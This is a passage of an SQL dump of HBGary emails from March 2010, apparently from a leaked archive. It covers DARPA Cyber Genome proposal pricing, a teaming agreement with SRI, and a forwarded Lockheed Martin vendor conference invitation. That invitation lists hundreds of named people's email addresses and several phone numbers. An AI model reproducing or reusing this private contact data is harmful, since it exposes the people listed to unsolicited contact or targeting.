<ted@hbgary.com>','/aaron@hbgary.com/new/1297002018.M20533P3547Q3862.eml','anitad@securedecisions.avi.com,\"Aaron Barr\" <aaron@hbgary.com>','Tech Area 3 Pricing','Attached is the pricing sheet for the DARPA Cyber Genome Technical Area\r\n3 effort.  It is in the same format used for Technical Area 1.  Please\r\nprovide pricing for the Tasks assigned in your Statement of Work, by\r\nPeriod (1a, 1b, 2a, 2b).\r\n\r\nPlease contact me if you have any questions.\r\n\r\nTed Vera\r\n\r\n\r\n',2638,'aaron_hbgary_com/2638.html'),(3863,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002019.M68844P3547Q3863.eml','brianneo@securedecisions.avi.com,\"Aaron Barr\" <aaron@hbgary.com>','Tech Area 3 Pricing','Attached is the pricing sheet for the DARPA Cyber Genome Technical Area\r\n3 effort.  It is in the same format used for Technical Area 1.  Please\r\nprovide pricing for the Tasks assigned in your Statement of Work, by\r\nPeriod (1a, 1b, 2a, 2b).\r\n\r\nPlease contact me if you have any questions.\r\n\r\nTed Vera\r\n\r\n\r\n',3532,'aaron_hbgary_com/3532.html'),(3864,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002020.M268861P3547Q3864.eml','porras@csl.sri.com,\"Aaron Barr\" <aaron@hbgary.com>','Tech Area 3 Pricing','Attached is the pricing sheet for the DARPA Cyber Genome Technical Area\r\n3 effort.  It is in the same format used for Technical Area 1.  Please\r\nprovide pricing for the Tasks assigned in your Statement of Work, by\r\nPeriod (1a, 1b, 2a, 2b).\r\n\r\nPlease contact me if you have any questions.\r\n\r\nTed Vera\r\n\r\n\r\n',4446,'aaron_hbgary_com/4446.html'),(3865,'2010-03-10','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297002020.M743701P3547Q3865.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Content','I should be able to make it as well.\r\n\r\n\r\nOn Mar 10, 2010, at 10:40 AM, Aaron Barr wrote:\r\n\r\n> Yes.\r\n> On Mar 10, 2010, at 10:36 AM, Adam Fraser wrote:\r\n> \r\n>> That is fine with me.  I\'m assuming you mean EST.\r\n>> \r\n>> Also, I\'m going to be sending you all the docs for Task 3 (cost, Past\r\n>> Performance, BIO, etc) in just a bit.\r\n>> \r\n>> -- Adam\r\n>> \r\n>> On 3/10/10 9:33 AM, Aaron Barr wrote:\r\n>>> Guys,\r\n>>> \r\n>>> I am working on smoothing out the technical content.  I would appreciate added comments on what is written, approach, research, etc.  I would like to set up a technical call today to briefly talk about the approach.  How does 3pm sound?\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',9425,'aaron_hbgary_com/9425.html'),(3866,'2010-03-10','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002023.M942939P3547Q3866.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: SOW Mods','Aaron,\r\n\r\nAttached are the docs I believe you\'ll need.  Please let me know if you\r\nneed me to do something else with these (like upload them Google docs\r\ninstead).  I figured you were using some of the same formatting as GD\r\nand I didn\'t want that to be lost upon upload.\r\n\r\nAlso, I had completed the cost sheet before getting the updated SOW.  I\r\nupdated the tasks to match the new SOW, but they aren\'t in order.  I\r\nthought that would be better than taking time to update the entire\r\nsheet.  We also used the same travel costs we used for Task 1.\r\n\r\nFinally, we never really talked specific cost.  If these numbers\r\nsurprise you, please give me a ring.  Cover letter is coming.  Can I get\r\nyour full address?\r\n\r\nAgain, let me know what else I can do to help.\r\n-- Adam\r\n\r\n\r\n\r\nOn 3/10/10 9:44 AM, Aaron Barr wrote:\r\n> Hey Guys,\r\n> \r\n> Please review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some.  We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n> \r\n> Lead Sheet to follow in a few hours. with listed tasks.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',5256,'aaron_hbgary_com/5256.html'),(3867,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002030.M932789P3547Q3867.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Invitation to UNO Vendor Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary got on the UNO list, but\r\nwithout cleared people we&#8217;ve mostly &nbsp;ignored.&nbsp; Thought this\r\nmight interest you.\r\n\r\n&nbsp;\r\n\r\nCheck out all the names, companies\r\nand emails below&#8230;&#8230;&#8230; Can anyone spell marketing opportunity?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Watson, Charles M\r\n[mailto:charles.m.watson@lmco.com] \r\nSent: Wednesday, March 10, 2010 10:29 AM\r\nTo: cadams@adamscomm.com; jpellecchia@adamscomm.com; bd@adamscomm.com;\r\nlgreen@adamscomm.com; Trout, David (EXP X-ACI); ddickey@aci-hq.com;\r\nwelshg@ainfosec.com; sharkeyj@ainfosec.com; robinsona@ainfosec.com;\r\nuno@ainfosec.com; plonischi@ainfosec.com; WAYNE_FOLSOM@appsig.com;\r\nlinda_drake@appsig.com; bob_teague@appsig.com; marty.kiefaber@argonst.com;\r\nmatthew_kuipers@appsig.com; brian.barnes@argonst.com; Jeff.Brown@argonst.com;\r\nrob.mcnamee@argonst.com; jferguson@argonst.com; spencer.allain@argonst.com;\r\ndavid.horner2@baesystems.com; leigh.palmer@baesystems.com;\r\nBrandon.trimyer@baesystems.com; peter.a.ryder@baesystems.com;\r\nmel.fulton@baesystems.com; joelr@basistech.com; bim2008@basistech.com;\r\njsaling@basistech.com; lukz@battelle.org; schultac@battelle.org;\r\nshopkins@blackbirdtech.com; dbailey@blackbirdtech.com;\r\ntbrooks@blackbirdtech.com; lance.m.towers@boeing.com;\r\nstella.w.wiggins@boeing.com; michael.hughes2@boeing.com; George.l.doyle2@boeing.com;\r\nfred.sheldon@boeing.com; Christopher.J.Parker@boeing.com; meehan_james@bah.com;\r\nstanford_john@bah.com; psaros_nicholas@bah.com; hamstra_jeff@bah.com;\r\nlinda.mustico@cantada.com; jenn.feeney@cantada.com; dan.tejada@cantada.com; McEvoy,\r\nGerry (EXP X-Computer Systems Group, Ltd.); tconrad@cc-sw.com;\r\nsmulokey@cti1.net; jimsawyer@cti1.net; jims@cti1.net; alavender@cti1.net;\r\nparya01@harris.com; mtroutma@harris.com; tbergero@harris.com;\r\njohn.steinmetz@harris.com; jmcclure@harris.com; mgingras@dtri.net;\r\ndbrager@dtri.net; swallen@draper.com; tkostas@draper.com; stacy.sipes@eds.com;\r\nsusan.snell@hp.com; amclaug407@verizon.net; ysshih@cox.net;\r\nedward.phillips@itt.com; robert.yohman@itt.com; dave.wernli@itt.com;\r\nrobert.dobbins@itt.com; barton.ung@itt.com; Anthony.kempka@itt.com;\r\nMark.Adams@edocorp.com; todd.morgan@edocorp.com; Catherine.Lewine@edocorp.com;\r\ntom.conrad@envieta.com; faith.horowitz@envieta.com; gregory.rowe@G3TI.NET;\r\nkdr@g-c-i.net; jcm@g-c-i.net; jek@g-c-i.net; jad@g-c-i.net; kim.lachance@gd-ais.com;\r\nanita.garey@gd-ais.com; gilbert.gaston@gd-ais.com; daniel.moran@gd-ais.com;\r\nmauen.lee@gd-ais.com; robert.rabinek@gdit.com; bob.clay@gdit.com;\r\nstephen.taylor@harris.com; jyanas@harris.com; lstaulcu@harris.com;\r\njohn.steinmetz@harris.com; bob@hbgary.com; dick.henggeler@hengcon.com;\r\ndick.henggeler@Henggelerconsulting.com; anthony.santino@hughes.com;\r\nrick.lober@hughes.com; Craig.Plastrik@hughes.com; charlie@iomaxis.com;\r\ntgriffin@iomaxis.com; amclaug407@verizon.net; michael.abadie@itt.com; Jim.Kalkbrenner@itt.com;\r\nbill.zeird@itt.com; bill@lvi-usa.com; kliedy@lvi-usa.com; wsenich@lvi-usa.com;\r\nrybrown@L1id.com; jhartman@L1id.com; gjohnson@L1id.com;\r\nltoplikar@leadingsystemstechnologies.com; kward@leadingsystemstechnologies.com;\r\neddie.rose@l-3com.com; mary.rainey@l-3com.com; bob.krieger@l-3com.com;\r\nmillerm@lgsinnovations.com; bbgriffin@lgsinnovations.com;\r\nlrorls@lgsinnovations.com; wroblicka@lgsinnovations.com;\r\ndimbesi@lgsinnovations.com; marc@lgsinnovations.com; ctpope@lgsinnovations.com;\r\nswolter@lgsinnovations.com; stark@lgsinnovations.com;\r\njfrost@lgsinnovations.com; Fair, Donald T; William.m.hartley@lmco.com; Wilbert,\r\nOtto J; Ferrara, Joseph C; Panczenko, Michael; Atwater, Bradley T;\r\nStephen.barish@macb.com; leo.chambliss@macb.com; paul.greene@mach1development.com;\r\nYolanda.Keels-Walker@ManTech.com; paul.myrick@mantech.com;\r\nSteven.Graf@ManTech.com; Linda.Baker@ManTech.com; Michael.mcgowan@mcc-corp.com;\r\nrob.palm@motorola.com; jalexis@navstar-inc.com; bholland@navstar-inc.com;\r\nindrev@navstar-inc.com; D\'Agostino, Chris (EXP X-Near Infinity); Bond, Nancy J\r\n(X-Near Infinity Corp); lance.chernault@ngc.com; Christopher.wilfong@ngc.com;\r\nyolanda.parrish@ngc.com; john.schlegel@ngc.com; Jim.cleereman@ngc.com;\r\ncari.kehr@ngc.com; matthew.verock@ngc.com; ivan@novelapplications.com;\r\ntim.berzins@oceansedge.biz; tom.shanley@oceansedge.biz;\r\nluis.beltre@oceansedge.biz; jennifer.walker@pangiatech.com;\r\njudy.walker@pangiatech.com; amy.walker@pangiatech.com;\r\njeff.kuhn@pangiatech.com; sandy.ring@pikewerks.com; michael.ring@pikewerks.com;\r\nirby@pikeworks.com; Andrew@pikeworks.com; Theresa_Pines@sra.com;\r\njim_costabile@sra.com; rabauno@sra.com; Timothy.j.McCowan@boeing.com;\r\nsandra.m.drews@boeing.com; arlamb@raytheon.com; jcharters@raytheon.com;\r\nkevin_grant@raytheon.com; anita.c.hyink@saic.com; parir@saic.com;\r\ndavid.v.szczesniak@saic.com; Jason.Syversen@Siegetechnologies.com;\r\nsam.corbitt@siegetechnologies.com; justin.wilder@siegetechnologies.com;\r\njr@spc.biz; wkee@sierra-peaks.com; sales@spc.biz; jackies@signalscape.com;\r\nkathyc@signalscape.com; mikel@signalscape.com; michael.elliott@signalscape.com;\r\nccarroll@sigovs.com; hray@sigovs.com; pjaynes@sigovs.com;\r\nmichael.r.stevenson@raytheon.com; sbo@sparta.com; daniel.edwards@sparta.com;\r\ndrp@sparta.com; larry.tu@sparta.com; john.swanson@sparta.com;\r\nkjogerst@srcinc.com; dbernero@srcinc.com; jones@srcinc.com;\r\nwilkerson@srcinc.com; ahmad@syrres.com; margaret.baxter-pearson@sri.com;\r\njoann.hodges-velayo@sri.com; karl.steadman@sri.com; howard.mohn@sri.com;\r\njerry.demoney@sri.com; philip.oakley@sri.com; mjh@talisman-intl.com;\r\nmocchionero@talisman-intl.com; mives@talisman-intl.com;\r\ngjohnson@talisman-intl.com; deareen.draddy@tekassoc.com; henry@tekassoc.com;\r\nmatt@tekassoc.com; robert.mauck@tekassoc.com; jason.yates@teligy.com;\r\nvic.gunter@teligy.com; Debbie.Majors@teligy.com;\r\nmspeicher@telemussolutions.com; knorosky@telemussolutions.com;\r\ngpage@telemussolutions.com; john.garrison@wyle.com; jim.neu@wyle.com;\r\nThomas.frey@wyle.com; peter.green@wyle.com; Frost, Clifford (EXP\r\nX-UniNetworks); lorice@uninetworks.com; Richard.Tait@unisys.com;\r\njim.dieterle@vangent.com; donn.pokorny@verizon.net; dlgreen@fns.vzunet.com;\r\nleshinm@varentech.com; weidowp@varentech.com; clute-rich@zai.com;\r\nmkwilsh@zai.com; michael.briones@macb.com; patricia.black@macb.com;\r\norion.larson@macb.com; dsidhu@telenix.com; god@veritegroup.com;\r\nSusan.morabito@ngc.com; rsidhu@telenix.com; fpowell@telenix.com\r\nCc: Mai, Richard E; Racz, James M; Chapman, Martha; Watson, Charles M\r\nSubject: Invitation to UNO Vendor Conference\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nThe Lockheed Martin UNO Program Office is hosting the UNO Vendor\r\nConference on 18 March, 2010.&nbsp; This is your opportunity to meet other UNO\r\nvendors, ask questions about the UNO task order process, and obtain information\r\non what is planned for UNO in 2010.&nbsp; A preliminary agenda and directions\r\nto the Lockheed Martin DEPII building are attached.\r\n\r\n&nbsp;\r\n\r\nThe Vendor Conference &nbsp;is not an authorized UNO Contract\r\nCharge. &nbsp;The Conference shall run from 0800 to approximately 1300.&nbsp;\r\nPlease try to limit your attendees to two individuals. The Conference shall be\r\nconducted up to a SECRET Level.\r\n\r\n&nbsp;\r\n\r\nThe UNO DEP II Facility requires visit certifications per the\r\nfollowing instructions.&nbsp; For registration and clearances, please send your\r\nclearance information for yourself and/or your company&#8217;s participants to\r\nthe Martha Chapman, NLT 15 March.&nbsp; (Visit certs need to be sent following\r\nthese instructions, even if you believe you are perm certed for this\r\nfacility.&nbsp; The coversheet for the fax needs to include all information\r\nbelow in order to be properly routed.&nbsp; All applicable clearances should be\r\nsent. \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lockheed\r\nMartin DEP II\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Event\r\n&#8211; UNO Vendor Conference\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Date\r\n&#8211; 18 March 2010\r\n\r\nSecurity POC &#8211; Martha\r\nChapman, Voice 703-466-3325, Unclas FAX 703-466-3340, Secure\r\n\r\n&nbsp;FAX\r\n703-466-3321.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technical\r\nPOC &#8211; Jim Racz, 703-466-3314\r\n\r\nUpon arrival to check-in, you will need your driver&#8217;s\r\nlicense (or other gov&#8217;t issued photo ID).\r\n\r\n&nbsp;\r\n\r\nQuestions concerning this conference should be directed to Jim\r\nRacz, UNO Chief Engineer.&nbsp; Jim can be contacted at 703-466-3314 and at james.m.racz@lmco.com .\r\n\r\n&nbsp;\r\n\r\nI am looking forward to seeing all of you, and meeting some of you\r\nfor the first time.\r\n\r\n&nbsp;\r\n\r\nRick Mai\r\n\r\nUNO Program Manager\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCharles Watson\r\n\r\nLockheed Martin IS&amp;GS\r\n\r\nMult Func Purchasing Asc Mgr\r\n\r\nPhone - 703-466-1347\r\n\r\nCell - 703-593-5728\r\n\r\nFax - 703-466-1270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2917,'aaron_hbgary_com/2917.html'),(3868,'2010-03-10','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002031.M328805P3547Q3868.eml','\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','follow up: IP discussion with HBGary','\r\n\r\n\r\n\r\n\r\nfollow up: IP discussion with HBGary\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, March 10, 2010 2:30 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, 5057292\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nfollow up: IP discussion with HBGary\r\n\r\n866-765-5631, 5057292\r\n\r\n\r\n\r\n\r\n',16760,'aaron_hbgary_com/16760.html'),(3869,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002033.M972969P3547Q3869.eml','\"Colleen Ferguson\" <colleen.ferguson@sri.com>,\"Colleen Ferguson\" <colleen.ferguson@sri.com>,,','Re: Fwd: TA & NDA','Hello Colleen,\r\n\r\nWe have reviewed and accepted SRI\'s redlines to the teaming agreement\r\n(attached).  If all terms are acceptable, please sign and return.  Upon\r\nreceipt I will sign and return to you a fully executed copy.\r\n\r\nIf SRI chooses to reject the HBGary NDA, then SRI will not be granted\r\naccess to HBGary proprietary technologies.  This should not have a\r\nnegative impact on the proposal effort.  This can be revisited during\r\nexecution if it is deemed necessary for SRI to have access to HBGary\r\nproduct source-code.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn 3/9/10 4:05 PM, Colleen Ferguson wrote:\r\n> Mr. Vera,\r\n> \r\n> Here are our redlines on the Teaming Agreement with HB Gary.  Please\r\n> note that we\'re still reviewing 7.4 and may have additional comments on\r\n> that paragraph.  Also,  we reject the NDA in favor of the Teaming\r\n> Agreement\'s confidentiality terms.  Please let me know if the changes\r\n> are acceptable.\r\n> \r\n> Regards,\r\n> Colleen\r\n> \r\n\r\n',15942,'aaron_hbgary_com/15942.html'),(3870,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002034.M226636P3547Q3870.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: FW: Invitation to UNO Vendor Conference','Sweet, good timing!  Looks like there\'s a new Uno PM.  Aaron\'s clearance\r\nwas approved this morning.  He get\'s read-on and his badge next Tuesday.\r\n\r\nTed\r\n\r\n\r\nOn 3/10/10 9:59 AM, Bob Slapnik wrote:\r\n> HBGary got on the UNO list, but without cleared people we\'ve mostly\r\n> ignored.  Thought this might interest you.\r\n> \r\n>  \r\n> \r\n> Check out all the names, companies and emails below... Can anyone spell\r\n> marketing opportunity?\r\n> \r\n>  \r\n> \r\n>  \r\n> \r\n> From: Watson, Charles M [mailto:charles.m.watson@lmco.com] \r\n> Sent: Wednesday, March 10, 2010 10:29 AM\r\n> To: cadams@adamscomm.com; jpellecchia@adamscomm.com; bd@adamscomm.com;\r\n> lgreen@adamscomm.com; Trout, David (EXP X-ACI); ddickey@aci-hq.com;\r\n> welshg@ainfosec.com; sharkeyj@ainfosec.com; robinsona@ainfosec.com;\r\n> uno@ainfosec.com; plonischi@ainfosec.com; WAYNE_FOLSOM@appsig.com;\r\n> linda_drake@appsig.com; bob_teague@appsig.com; marty.kiefaber@argonst.com;\r\n> matthew_kuipers@appsig.com; brian.barnes@argonst.com;\r\n> Jeff.Brown@argonst.com; rob.mcnamee@argonst.com; jferguson@argonst.com;\r\n> spencer.allain@argonst.com; david.horner2@baesystems.com;\r\n> leigh.palmer@baesystems.com; Brandon.trimyer@baesystems.com;\r\n> peter.a.ryder@baesystems.com; mel.fulton@baesystems.com;\r\n> joelr@basistech.com; bim2008@basistech.com; jsaling@basistech.com;\r\n> lukz@battelle.org; schultac@battelle.org; shopkins@blackbirdtech.com;\r\n> dbailey@blackbirdtech.com; tbrooks@blackbirdtech.com;\r\n> lance.m.towers@boeing.com; stella.w.wiggins@boeing.com;\r\n> michael.hughes2@boeing.com; George.l.doyle2@boeing.com;\r\n> fred.sheldon@boeing.com; Christopher.J.Parker@boeing.com;\r\n> meehan_james@bah.com; stanford_john@bah.com; psaros_nicholas@bah.com;\r\n> hamstra_jeff@bah.com; linda.mustico@cantada.com; jenn.feeney@cantada.com;\r\n> dan.tejada@cantada.com; McEvoy, Gerry (EXP X-Computer Systems Group, Ltd.);\r\n> tconrad@cc-sw.com; smulokey@cti1.net; jimsawyer@cti1.net; jims@cti1.net;\r\n> alavender@cti1.net; parya01@harris.com; mtroutma@harris.com;\r\n> tbergero@harris.com; john.steinmetz@harris.com; jmcclure@harris.com;\r\n> mgingras@dtri.net; dbrager@dtri.net; swallen@draper.com; tkostas@draper.com;\r\n> stacy.sipes@eds.com; susan.snell@hp.com; amclaug407@verizon.net;\r\n> ysshih@cox.net; edward.phillips@itt.com; robert.yohman@itt.com;\r\n> dave.wernli@itt.com; robert.dobbins@itt.com; barton.ung@itt.com;\r\n> Anthony.kempka@itt.com; Mark.Adams@edocorp.com; todd.morgan@edocorp.com;\r\n> Catherine.Lewine@edocorp.com; tom.conrad@envieta.com;\r\n> faith.horowitz@envieta.com; gregory.rowe@G3TI.NET; kdr@g-c-i.net;\r\n> jcm@g-c-i.net; jek@g-c-i.net; jad@g-c-i.net; kim.lachance@gd-ais.com;\r\n> anita.garey@gd-ais.com; gilbert.gaston@gd-ais.com; daniel.moran@gd-ais.com;\r\n> mauen.lee@gd-ais.com; robert.rabinek@gdit.com; bob.clay@gdit.com;\r\n> stephen.taylor@harris.com; jyanas@harris.com; lstaulcu@harris.com;\r\n> john.steinmetz@harris.com; bob@hbgary.com; dick.henggeler@hengcon.com;\r\n> dick.henggeler@Henggelerconsulting.com; anthony.santino@hughes.com;\r\n> rick.lober@hughes.com; Craig.Plastrik@hughes.com; charlie@iomaxis.com;\r\n> tgriffin@iomaxis.com; amclaug407@verizon.net; michael.abadie@itt.com;\r\n> Jim.Kalkbrenner@itt.com; bill.zeird@itt.com; bill@lvi-usa.com;\r\n> kliedy@lvi-usa.com; wsenich@lvi-usa.com; rybrown@L1id.com;\r\n> jhartman@L1id.com; gjohnson@L1id.com;\r\n> ltoplikar@leadingsystemstechnologies.com;\r\n> kward@leadingsystemstechnologies.com; eddie.rose@l-3com.com;\r\n> mary.rainey@l-3com.com; bob.krieger@l-3com.com; millerm@lgsinnovations.com;\r\n> bbgriffin@lgsinnovations.com; lrorls@lgsinnovations.com;\r\n> wroblicka@lgsinnovations.com; dimbesi@lgsinnovations.com;\r\n> marc@lgsinnovations.com; ctpope@lgsinnovations.com;\r\n> swolter@lgsinnovations.com; stark@lgsinnovations.com;\r\n> jfrost@lgsinnovations.com; Fair, Donald T; William.m.hartley@lmco.com;\r\n> Wilbert, Otto J; Ferrara, Joseph C; Panczenko, Michael; Atwater, Bradley T;\r\n> Stephen.barish@macb.com; leo.chambliss@macb.com;\r\n> paul.greene@mach1development.com; Yolanda.Keels-Walker@ManTech.com;\r\n> paul.myrick@mantech.com; Steven.Graf@ManTech.com; Linda.Baker@ManTech.com;\r\n> Michael.mcgowan@mcc-corp.com; rob.palm@motorola.com;\r\n> jalexis@navstar-inc.com; bholland@navstar-inc.com; indrev@navstar-inc.com;\r\n> D\'Agostino, Chris (EXP X-Near Infinity); Bond, Nancy J (X-Near Infinity\r\n> Corp); lance.chernault@ngc.com; Christopher.wilfong@ngc.com;\r\n> yolanda.parrish@ngc.com; john.schlegel@ngc.com; Jim.cleereman@ngc.com;\r\n> cari.kehr@ngc.com; matthew.verock@ngc.com; ivan@novelapplications.com;\r\n> tim.berzins@oceansedge.biz; tom.shanley@oceansedge.biz;\r\n> luis.beltre@oceansedge.biz; jennifer.walker@pangiatech.com;\r\n> judy.walker@pangiatech.com; amy.walker@pangiatech.com;\r\n> jeff.kuhn@pangiatech.com; sandy.ring@pikewerks.com;\r\n> michael.ring@pikewerks.com; irby@pikeworks.com; Andrew@pikeworks.com;\r\n> Theresa_Pines@sra.com; jim_costabile@sra.com; rabauno@sra.com;\r\n> Timothy.j.McCowan@boeing.com; sandra.m.drews@boeing.com;\r\n> arlamb@raytheon.com; jcharters@raytheon.com; kevin_grant@raytheon.com;\r\n> anita.c.hyink@saic.com; parir@saic.com; david.v.szczesniak@saic.com;\r\n> Jason.Syversen@Siegetechnologies.com; sam.corbitt@siegetechnologies.com;\r\n> justin.wilder@siegetechnologies.com; jr@spc.biz; wkee@sierra-peaks.com;\r\n> sales@spc.biz; jackies@signalscape.com; kathyc@signalscape.com;\r\n> mikel@signalscape.com; michael.elliott@signalscape.com; ccarroll@sigovs.com;\r\n> hray@sigovs.com; pjaynes@sigovs.com; michael.r.stevenson@raytheon.com;\r\n> sbo@sparta.com; daniel.edwards@sparta.com; drp@sparta.com;\r\n> larry.tu@sparta.com; john.swanson@sparta.com; kjogerst@srcinc.com;\r\n> dbernero@srcinc.com; jones@srcinc.com; wilkerson@srcinc.com;\r\n> ahmad@syrres.com; margaret.baxter-pearson@sri.com;\r\n> joann.hodges-velayo@sri.com; karl.steadman@sri.com; howard.mohn@sri.com;\r\n> jerry.demoney@sri.com; philip.oakley@sri.com; mjh@talisman-intl.com;\r\n> mocchionero@talisman-intl.com; mives@talisman-intl.com;\r\n> gjohnson@talisman-intl.com; deareen.draddy@tekassoc.com; henry@tekassoc.com;\r\n> matt@tekassoc.com; robert.mauck@tekassoc.com; jason.yates@teligy.com;\r\n> vic.gunter@teligy.com; Debbie.Majors@teligy.com;\r\n> mspeicher@telemussolutions.com; knorosky@telemussolutions.com;\r\n> gpage@telemussolutions.com; john.garrison@wyle.com; jim.neu@wyle.com;\r\n> Thomas.frey@wyle.com; peter.green@wyle.com; Frost, Clifford (EXP\r\n> X-UniNetworks); lorice@uninetworks.com; Richard.Tait@unisys.com;\r\n> jim.dieterle@vangent.com; donn.pokorny@verizon.net; dlgreen@fns.vzunet.com;\r\n> leshinm@varentech.com; weidowp@varentech.com; clute-rich@zai.com;\r\n> mkwilsh@zai.com; michael.briones@macb.com; patricia.black@macb.com;\r\n> orion.larson@macb.com; dsidhu@telenix.com; god@veritegroup.com;\r\n> Susan.morabito@ngc.com; rsidhu@telenix.com; fpowell@telenix.com\r\n> Cc: Mai, Richard E; Racz, James M; Chapman, Martha; Watson, Charles M\r\n> Subject: Invitation to UNO Vendor Conference\r\n> \r\n>  \r\n> \r\n> All,\r\n> \r\n>  \r\n> \r\n> The Lockheed Martin UNO Program Office is hosting the UNO Vendor Conference\r\n> on 18 March, 2010.  This is your opportunity to meet other UNO vendors, ask\r\n> questions about the UNO task order process, and obtain information on what\r\n> is planned for UNO in 2010.  A preliminary agenda and directions to the\r\n> Lockheed Martin DEPII building are attached.\r\n> \r\n>  \r\n> \r\n> The Vendor Conference  is not an authorized UNO Contract Charge.  The\r\n> Conference shall run from 0800 to approximately 1300.  Please try to limit\r\n> your attendees to two individuals. The Conference shall be conducted up to a\r\n> SECRET Level.\r\n> \r\n>  \r\n> \r\n> The UNO DEP II Facility requires visit certifications per the following\r\n> instructions.  For registration and clearances, please send your clearance\r\n> information for yourself and/or your company\'s participants to the Martha\r\n> Chapman, NLT 15 March.  (Visit certs need to be sent following these\r\n> instructions, even if you believe you are perm certed for this facility.\r\n> The coversheet for the fax needs to include all information below in order\r\n> to be properly routed.  All applicable clearances should be sent. \r\n> \r\n>           Lockheed Martin DEP II\r\n> \r\n>           Event - UNO Vendor Conference\r\n> \r\n>           Date - 18 March 2010\r\n> \r\n> Security POC - Martha Chapman, Voice 703-466-3325, Unclas FAX 703-466-3340,\r\n> Secure\r\n> \r\n>  FAX 703-466-3321.\r\n> \r\n>           Technical POC - Jim Racz, 703-466-3314\r\n> \r\n> Upon arrival to check-in, you will need your driver\'s license (or other\r\n> gov\'t issued photo ID).\r\n> \r\n>  \r\n> \r\n> Questions concerning this conference should be directed to Jim Racz, UNO\r\n> Chief Engineer.  Jim can be contacted at 703-466-3314 and at\r\n>  james.m.racz@lmco.com .\r\n> \r\n>  \r\n> \r\n> I am looking forward to seeing all of you, and meeting some of you for the\r\n> first time.\r\n> \r\n>  \r\n> \r\n> Rick Mai\r\n> \r\n> UNO Program Manager\r\n> \r\n>  \r\n> \r\n>  \r\n> \r\n> Charles Watson\r\n> \r\n> Lockheed Martin IS&GS\r\n> \r\n> Mult Func Purchasing Asc Mgr\r\n> \r\n> Phone - 703-466-1347\r\n> \r\n> Cell - 703-593-5728\r\n> \r\n> Fax - 703-466-1270\r\n> \r\n>  \r\n> \r\n>  \r\n> \r\n>  \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n> 02:33:00\r\n> \r\n> \r\n\r\n',7143,'aaron_hbgary_com/7143.html'),(3871,'2010-03-10','\"Colleen Ferguson\" <colleen.ferguson@sri.com>','/aaron@hbgary.com/new/1297002035.M382843P3547Q3871.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: Fwd: TA & NDA','\r\n\r\n\r\n  \r\n\r\n\r\nHi Ted,\r\n\r\nHere is the signed Teaming Agreement.&nbsp; We did not see why a separate\r\nNDA is necessary since there are proprietary information disclosure\r\nterms in the Teaming Agreement.&nbsp; If it won\'t affect the proposal effort\r\nplease let\'s revisit at a later date due to the time constraints.\r\n\r\nThanks,\r\nColleen\r\n\r\nTed Vera wrote:\r\n\r\n  Hello Colleen,\r\n\r\nWe have reviewed and accepted SRI\'s redlines to the teaming agreement\r\n(attached).  If all terms are acceptable, please sign and return.  Upon\r\nreceipt I will sign and return to you a fully executed 